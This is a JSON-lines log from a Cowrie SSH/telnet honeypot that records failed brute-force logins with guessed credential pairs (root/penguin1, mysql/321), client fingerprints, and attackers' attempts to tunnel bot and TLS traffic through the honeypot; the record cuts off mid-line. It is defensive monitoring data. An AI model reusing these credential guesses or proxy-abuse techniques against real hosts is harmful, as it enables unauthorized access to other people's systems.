{"eventid":"cowrie.login.failed","username":"root","password":"penguin1","message":"login attempt [root/penguin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:40.068797Z","src_ip":"103.27.238.116","session":"85404856a936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"321","message":"login attempt [mysql/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:40.132295Z","src_ip":"91.92.40.36","session":"10e286542233","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":40520,"dst_ip":"10.17.0.5","dst_port":23,"session":"31a76ce56dfd","protocol":"telnet","message":"New connection: 94.23.66.112:40520 (10.17.0.5:23) [session: 31a76ce56dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:40.479263Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:41.331898Z","src_ip":"103.27.238.116","session":"85404856a936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":31118,"dst_ip":"10.17.0.5","dst_port":22,"session":"341030aeb728","protocol":"ssh","message":"New connection: 38.93.206.2:31118 (10.17.0.5:22) [session: 341030aeb728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:42.025802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:42.030037Z","src_ip":"38.93.206.2","session":"341030aeb728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:42.034293Z","src_ip":"91.92.40.36","session":"10e286542233","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:42.079974Z","src_ip":"38.93.206.2","session":"341030aeb728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"211291","message":"login attempt [root/211291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:42.234810Z","src_ip":"38.93.206.2","session":"341030aeb728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:43.287587Z","src_ip":"38.93.206.2","session":"341030aeb728","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19214,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2a021c31ad2","protocol":"ssh","message":"New connection: 91.92.40.36:19214 (159.203.135.109:22) [session: f2a021c31ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:44.088882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:45.317068Z","src_ip":"91.92.40.36","session":"f2a021c31ad2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:45.320485Z","src_ip":"91.92.40.36","session":"f2a021c31ad2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:45.511068Z","session":"f868fe701ae3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:45.546018Z","src_ip":"63.141.242.2","session":"f868fe701ae3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1; F7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=fkdvZVR6I2RDS0hGSzV5dQ%3D%3D9LrE4BXminsTDm98%2FitG%2BE64Y7lkencjSkzVtAU54%2B2chBjYjcN8YQATfDUfNW6IfgDOi3qDLcWK5oO3mCu%2B21x%2F9JU7A95238gfTGbhAii5MC0zOEpHL9EQoe5RcO6yhHyIdJ%2BQb36aUc5plIpIOvd%2B%2BoB6%2FpKKdOtbqLVMVfQhXLhSdU3uAOqRZcKtTTvZw4bf7dIIPHqlNNdp8numUgvyYFjnxDTk3XJFkXHAp8UUWHsxdvpD95J%2FxcULRhzZO6UsxVkA0DGrU9QxkAGVMDep1R8caB8ch1Pl63ru32%2FP6eOTKF0%2FIyXQSMjEXLD5FeI4B9SbKhDyL4%2BpX0DTBhk4x%2Fi0LlHbdxY91weympbDLux5rJJhvfZD9VjXs57wePmNCVQ61sCUiZpMvJ39eg%2BKPznxGAI1ljycF6IBGGg0CYfFbn1uYfoZVtKNOrpKgbmcmBLnlnyfyWSqx%2FecmtQXBqIkcFFa89I3FBgfFLRvEskvhgl4alJnrCwtPsIRnu3KR%2FLBaLIw0%2F1HIRGe2iCkLJf8uQey9kbl%2FXjR3hmDCbVaBGYgpxeEWktmJjWh5F0l69XyvbgfkFBYnQgtPM0io7jsKqlHheGYAvuaO%2FY%2Bca0zAj7xUOsRKFVro79WrWWsZdES%2F5ZrCa3RU0sWl7S75cHRUvng7eiqpV%2BOIdROnStXbKyTR9f3pcTBshBGKKKZXW0vLDCWQqXfHsdLO%2F7%2BrT701ma6Yk%2FzCMVkyanrVKIa%2FAK4z5vRNBksFE%2FVkDSEQNL1PAqYPRHbG9O89Y10GFbAN0A9sixmuzr%2FvzEG55tpiXoK9iJLvVFrvS3%2FEEGZ%2FnVDqAadKykc3MKfC8GbPMNCETjDPczIs7zM793qNZ3tlBHcvlkWep7BJWgEuXvorrHaWHrN2SxQ9LoD%2FgzxSTeVYnvpRqVSkI5JCjNgz5Sr1%2FTySSE3Ve6GmAGlY92p5IyWh6wvrsEbxOeEk3OXsDTdWgZTv57zwwUVZtj791VENv0Jl7TkICIrhdw7KEzYRVgFZ4KdEjvVdZT2ztR%2FeKk3G3M69%2B44PxvdHcM%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1; F7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=fkdvZVR6I2RDS0hGSzV5dQ%3D%3D9LrE4BXminsTDm98%2FitG%2BE64Y7lkencjSkzVtAU54%2B2chBjYjcN8YQATfDUfNW6IfgDOi3qDLcWK5oO3mCu%2B21x%2F9JU7A95238gfTGbhAii5MC0zOEpHL9EQoe5RcO6yhHyIdJ%2BQb36aUc5plIpIOvd%2B%2BoB6%2FpKKdOtbqLVMVfQhXLhSdU3uAOqRZcKtTTvZw4bf7dIIPHqlNNdp8numUgvyYFjnxDTk3XJFkXHAp8UUWHsxdvpD95J%2FxcULRhzZO6UsxVkA0DGrU9QxkAGVMDep1R8caB8ch1Pl63ru32%2FP6eOTKF0%2FIyXQSMjEXLD5FeI4B9SbKhDyL4%2BpX0DTBhk4x%2Fi0LlHbdxY91weympbDLux5rJJhvfZD9VjXs57wePmNCVQ61sCUiZpMvJ39eg%2BKPznxGAI1ljycF6IBGGg0CYfFbn1uYfoZVtKNOrpKgbmcmBLnlnyfyWSqx%2FecmtQXBqIkcFFa89I3FBgfFLRvEskvhgl4alJnrCwtPsIRnu3KR%2FLBaLIw0%2F1HIRGe2iCkLJf8uQey9kbl%2FXjR3hmDCbVaBGYgpxeEWktmJjWh5F0l69XyvbgfkFBYnQgtPM0io7jsKqlHheGYAvuaO%2FY%2Bca0zAj7xUOsRKFVro79WrWWsZdES%2F5ZrCa3RU0sWl7S75cHRUvng7eiqpV%2BOIdROnStXbKyTR9f3pcTBshBGKKKZXW0vLDCWQqXfHsdLO%2F7%2BrT701ma6Yk%2FzCMVkyanrVKIa%2FAK4z5vRNBksFE%2FVkDSEQNL1PAqYPRHbG9O89Y10GFbAN0A9sixmuzr%2FvzEG55tpiXoK9iJLvVFrvS3%2FEEGZ%2FnVDqAadKykc3MKfC8GbPMNCETjDPczIs7zM793qNZ3tlBHcvlkWep7BJWgEuXvorrHaWHrN2SxQ9LoD%2FgzxSTeVYnvpRqVSkI5JCjNgz5Sr1%2FTySSE3Ve6GmAGlY92p5IyWh6wvrsEbxOeEk3OXsDTdWgZTv57zwwUVZtj791VENv0Jl7TkICIrhdw7KEzYRVgFZ4KdEjvVdZT2ztR%2FeKk3G3M69%2B44PxvdHcM%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:45.548810Z","src_ip":"63.141.242.2","session":"f868fe701ae3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:45.941431Z","session":"f868fe701ae3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:46.015457Z","src_ip":"63.141.242.2","session":"f868fe701ae3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81T\\x9c\\xf5\\xc1\\x83\\xbf\\xf9^\\xae4\\x97\\xb2\\xb6\\xe6\\x9c\\xb9@\\xfd\\xa7\\xff\\x8e0%I\\xe7w1'\\xbeF/ \\xf3\\x8c\\xc9?b\\xc5\\x84X\\xdb\\x14[\\xb4\\x87g\\xce|1i\\xa7[\\xe3\\xcf\\xc0\\xca\\xa5\\xb6>\\x7f\\x11\\xbb\\xd4\\xfe\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 !\\xd5\\t\\x12\\x1f\\xe7\\xc9\\xa7\\x05P\\x06&D\\xb9\\xc2C\\xe8}\\xb8G(W\\x81\\xa3\\x02\\xf240\\xec\\xc2\\xc4\\x10\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81T\\x9c\\xf5\\xc1\\x83\\xbf\\xf9^\\xae4\\x97\\xb2\\xb6\\xe6\\x9c\\xb9@\\xfd\\xa7\\xff\\x8e0%I\\xe7w1'\\xbeF/ \\xf3\\x8c\\xc9?b\\xc5\\x84X\\xdb\\x14[\\xb4\\x87g\\xce|1i\\xa7[\\xe3\\xcf\\xc0\\xca\\xa5\\xb6>\\x7f\\x11\\xbb\\xd4\\xfe\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 !\\xd5\\t\\x12\\x1f\\xe7\\xc9\\xa7\\x05P\\x06&D\\xb9\\xc2C\\xe8}\\xb8G(W\\x81\\xa3\\x02\\xf240\\xec\\xc2\\xc4\\x10\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:46.019350Z","src_ip":"63.141.242.2","session":"f868fe701ae3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:46.095476Z","session":"f868fe701ae3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:46.131501Z","src_ip":"63.141.242.2","session":"f868fe701ae3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03&\\x8d\\xa6FTB%\\xff\\xc01\\x9b\\xe6\\xd5I|\\xd7\\x98\\x96\\xf2q\\x95\\xc3\\xcf\\xf9\\xa0Y\\xba\\x8c}`b{ \\xca\\x8dl!\\xbc\\x10\\xfc\\xecC\\x95\\xbc\\xeb\\xc2\\x90r\\x82\\xf0&+\\x1b\\x1c\\xd4\\x88\\xac~\\x8aC\\x8a\\xfeq\\x85\\xdf\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 `\\x8cQ\\xe1\\x93\\x1c,\\xf1\\xc3oz\\x8c\\x8eg%\\x8cF\\xa4\\xf2\\x11\\xd2\\xe5\\xfe\\x88\\x90\\x93\\x9b\\xb2\\xf6\\x12\\xe3:\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03&\\x8d\\xa6FTB%\\xff\\xc01\\x9b\\xe6\\xd5I|\\xd7\\x98\\x96\\xf2q\\x95\\xc3\\xcf\\xf9\\xa0Y\\xba\\x8c}`b{ 